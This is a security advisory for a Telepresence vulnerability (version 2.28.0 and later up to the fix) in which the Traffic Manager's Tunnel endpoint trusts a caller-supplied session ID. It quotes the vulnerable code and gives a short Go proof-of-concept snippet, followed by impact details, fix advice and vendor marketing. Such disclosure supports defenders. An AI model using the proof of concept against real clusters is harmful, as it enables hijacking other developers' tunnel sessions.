Summary
Telepresence: Tunnel endpoint accepts caller-supplied session ID with no ownership proof, active client sessions hijackable
The Traffic Manager Tunnel gRPC streaming endpoint accepts a session ID from the first bytes of the client-controlled message payload. No verification confirms the caller owns the session. An attacker supplying a valid active session ID receives a fully routed tunnel for that session, gaining the network routing capabilities of the legitimate Telepresence client. Tested on HEAD v2.28.0, commit b2231a4.
Details
The Tunnel handler reads identity from a client-provided binary payload rather than from a verified credential or prior authenticated gRPC call:
// cmd/traffic/cmd/manager/service.go:1057-1063
func (s *service) Tunnel(server grpc.BidiStreamingServer[...]) error {
stream, err := tunnel.NewServerStream(ctx, tunnel.ClientToManager, server)
return s.state.Tunnel(ctx, stream) // stream.SessionID() is client-controlled
}
state.Tunnel looks up the session ID in the sessions map with no ownership proof:
// cmd/traffic/cmd/manager/state/state.go:698-703
func (s *State) Tunnel(ctx context.Context, stream tunnel.Stream) error {
id := stream.SessionID() // from client payload bytes
if cs, ok := s.clients.Load(id); ok {
return s.clientTunnel(ctx, cs, stream) // full dialer granted
}
return grpcErrors.Errorf(codes.NotFound, ...)
}
The session ID is parsed from the wire message with no binding to the transport-level identity of the caller (pkg/tunnel/message.go:209-214).
Proof of Concept
Precondition: a valid active session ID (obtainable via ArriveAsClient, which has no auth either).
conn, _ := grpc.NewClient("traffic-manager.ambassador:8081",
grpc.WithTransportCredentials(insecure.NewCredentials()))
mgr := rpc.NewManagerClient(conn)
tunnelStream, _ := mgr.Tunnel(ctx)
// Send StreamInfo with victim session ID in payload
tunnelStream.Send(&rpc.TunnelMessage{Payload: buildStreamInfo(victimSessionID, ...)})
// Traffic Manager routes tunnel traffic for victimSessionID
// through this attacker-controlled bidirectional stream
Impact
A caller supplying a valid session ID of an active Telepresence client obtains a tunnel endpoint for that session's network routing context. Session IDs are UUID4s, making cold brute-force impractical; exploitation materialises when session IDs are obtainable via log leakage or cluster-internal channels. Combined with the unauthenticated ArriveAsClient endpoint, an attacker can
create their own sessions and pivot to impersonate active developer sessions.
CVE-2026-102339 has a CVSS score of 8.2 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.31.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-102339? CVE-2026-102339 is a high-severity security vulnerability in github.com/telepresenceio/telepresence/v2 (go), affecting versions < 2.31.0. It is fixed in 2.31.0.
- How severe is CVE-2026-102339? CVE-2026-102339 has a CVSS score of 8.2 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/telepresenceio/telepresence/v2 are affected by CVE-2026-102339? github.com/telepresenceio/telepresence/v2 (go) versions < 2.31.0 is affected.
- Is there a fix for CVE-2026-102339? Yes. CVE-2026-102339 is fixed in 2.31.0. Upgrade to this version or later.
- Is CVE-2026-102339 exploitable, and should I be worried? Whether CVE-2026-102339 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-102339 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-102339? Upgrade
github.com/telepresenceio/telepresence/v2to 2.31.0 or later.